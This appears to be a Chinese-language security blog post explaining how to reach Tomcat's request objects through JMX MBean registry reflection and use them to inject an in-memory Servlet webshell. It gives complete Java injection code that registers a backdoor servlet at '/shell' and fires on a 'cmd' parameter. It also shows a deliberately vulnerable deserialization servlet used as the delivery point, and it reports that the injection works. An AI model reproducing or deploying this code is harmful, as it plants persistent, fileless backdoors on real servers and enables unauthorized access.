從Tomcat源碼中尋找request路徑進行注入
前言
前面主要是通過尋找一個全局存儲的request / response來進行Tomcat中間下的回顯,但是在tomcat 7環境下并不能夠獲取到StandardContext對象,這里李三師傅在前文的基礎中發現了在AbstractProtocol$ConnectionHandler#register的調用中不僅像之前的思路一樣將獲取到的RequestInfo對象存放在了global屬性中。

同樣通過調用Registry.getRegistry((Object)null, (Object)null).registerComponent方法將RequestInfo對象進行組件的注冊流程中。
正文
獲取回顯
緊跟上面,我們跟進這個registerComponent方法的調用。

對于傳入的這個bean對象,首先通過他的類型獲取了一個ManagedBean對象,調用其createMBean方法創建了一個MBean對象,最后調用了registerMBean進行該MBean的注冊,跟進一下。

調用了mbsInterceptor屬性的registerMBean方法進行注冊,這里的mbsInterceptor屬性即是DefaultMBeanServerInterceptor對象,跟進一下。

在這個方法調用了該類的registerObject方法進行注冊。

在這個方法中,調用了Introspector#makeDynamicMBean方法創建了一個動態的MBean,之后調用了registerDynamicMBean方法進行動態MBean的注冊。

最后調用了registerWithRepository進行進一步的注冊。

在這個方法中,調用了該類的repository屬性的addMBean方法進行MBean的添加。

在這個方法的后面,首先會根據dom取出對應的信息,如果不存在,將會調用addNewDomMoi方法將這個Bean進行了添加。

傳入了一個map對象,其中包含有我們的requstInfo的信息,我們之后通過idea的Evaluate來進行調試。

這里的Catelina也就是和tomcat相關的組件信息,值得注意的是,如果使用springboot內置的tomcat啟動服務,這里不再是Catalina而應該是Tomcat這個key值。這里的value值就是我們在上面最后一步put進入的一個map對象。

有很多,其中一個是包含有我們需要的request / response對象的,可以關注到下面這個key值。

其中的name字段的格式就是protocol-nio-port,這里我的環境是tomcat 8, 如果是tomcat 7環境這里的nio應該為bio才對。在其value字段中的NamedObject對象中。

能夠找到我們需要的RequestInfo對象。所以總結一下我們獲取request的流程大致為。

首先是通過反射一步一個獲取到domainTb這個Map對象中key值為Catalina的value值。

之后從我們前面得到的value對象中獲取到我們需要的RequestInfo類,進而獲取到Request / Response對象。
構造回顯內存
基于上面的思路,我們可以通過以下代碼獲取回顯,// 獲取JmxMBeanServer對象 MBeanServer mBeanServer = Registry.getRegistry((Object) null, (Object) null).getMBeanServer(); // 反射獲取JmxMBeanServer對象的mbsInterceptor屬性值,也即是DefaultMBeanServerInterceptor對象 Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor")); // 獲取DefaultMBeanServerInterceptor中的repository屬性 Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository")); // 反射獲取Repository對象的domainTb這個Map對象 HashMap domainTb = (HashMap) getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb")); // 獲取該HashMap中有關于Catalina這個hashMap對象進而獲取到了GlobalRequestProcessor // 使用Tomcat啟動服務 Object namedObject = ((HashMap) domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor"); // 使用Springboot啟動服務// Object namedObject = ((HashMap) domainTb.get("Tomcat")).get("name=\"http-nio-9999\",type=GlobalRequestProcessor"); // 從獲取的NamedObject對象中反射獲取他的object屬性 Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object")); // object屬性是一個BaseModelMBean對象,反射獲取他的resource屬性值 Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource")); // resource屬性是一個RequestGroupInfo對象,反射獲取他的processors屬性值 ArrayList processors = (ArrayList) getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors")); // 遍歷前面得到的ArrayList列表,獲取想要的請求 for (Object processor : processors) { // 強轉為RequestInfo類型 RequestInfo requestInfo = (RequestInfo) processor; // 反射獲取對應的req屬性 org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));
(向右滑動、查看更多)
在獲取了request對象之后,我們理應篩選一下本次請求的Request是哪一個進而保證能夠執行后續操作,完整代碼為:
try { // 獲取JmxMBeanServer對象 MBeanServer mBeanServer = Registry.getRegistry((Object) null, (Object) null).getMBeanServer(); // 反射獲取JmxMBeanServer對象的mbsInterceptor屬性值,也即是DefaultMBeanServerInterceptor對象 Object mbsInterceptor = getField(mBeanServer, Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor")); // 獲取DefaultMBeanServerInterceptor中的repository屬性 Object repository = getField(mbsInterceptor, Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository")); // 反射獲取Repository對象的domainTb這個Map對象 HashMap domainTb = (HashMap) getField(repository, Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb")); // 獲取該HashMap中有關于Catalina這個hashMap對象進而獲取到了GlobalRequestProcessor // 使用Tomcat啟動服務 Object namedObject = ((HashMap) domainTb.get("Catalina")).get("name=\"http-nio-8080\",type=GlobalRequestProcessor"); // 使用Springboot啟動服務// Object namedObject = ((HashMap) domainTb.get("Tomcat")).get("name=\"http-nio-9999\",type=GlobalRequestProcessor"); // 從獲取的NamedObject對象中反射獲取他的object屬性 Object object = getField(namedObject, Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object")); // object屬性是一個BaseModelMBean對象,反射獲取他的resource屬性值 Object resource = getField(object, Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource")); // resource屬性是一個RequestGroupInfo對象,反射獲取他的processors屬性值 ArrayList processors = (ArrayList) getField(resource, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors")); // 遍歷前面得到的ArrayList列表,獲取想要的請求 for (Object processor : processors) { // 強轉為RequestInfo類型 RequestInfo requestInfo = (RequestInfo) processor; // 反射獲取對應的req屬性 org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req")); // 篩選請求 if (req.getParameters().getParameter("cmd") != null) { // 將req對象轉為org.apache.catalina.connector.Request對象進行內存馬的注入 org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1); // 獲取對應的ServletContext上下文環境 ServletContext servletContext = request.getServletContext(); // 注入Servlet內存馬的步驟 String name = "RoboTerh"; if (servletContext.getServletRegistration(name) == null) { StandardContext o = null;
// 從 request 的 ServletContext 對象中循環判斷獲取 Tomcat StandardContext 對象 while (o == null) { Field f = servletContext.getClass().getDeclaredField("context"); f.setAccessible(true); Object obj = f.get(servletContext);
if (obj instanceof ServletContext) { servletContext = (ServletContext) obj; } else if (obj instanceof StandardContext) { o = (StandardContext) obj; } }
//自定義servlet Servlet servlet = new TomcatMemshell3();
//用Wrapper封裝servlet Wrapper newWrapper = o.createWrapper(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet);
//向children中添加Wrapper o.addChild(newWrapper); //添加servlet的映射 o.addServletMappingDecoded("/shell", name); } } } } catch (Exception e) { e.printStackTrace(); }
(向右滑動、查看更多)
測試
因為之前的spring-boot 2.5.0內置的tomcat版本是9.x,不能夠通過該種方式進行內存馬的注入。
所以我這里環境就選用Tomcat 8的容器進行搭建,其中的存在反序列化漏洞的Servlet為。
package com.roboterh.web;
import javax.servlet.ServletException;import javax.servlet.ServletInputStream;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.ObjectInputStream;
@WebServlet("/unser")public class ServletTest extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { this.doPost(req, resp); }
@Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { java.io.InputStream inputStream = req.getInputStream(); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); objectInputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } }}
(向右滑動、查看更多)
啟動服務之后發送序列化數據,驗證是否成功注入。

能夠成功進行注入操作。
Ref
https://xz.aliyun.com/t/7535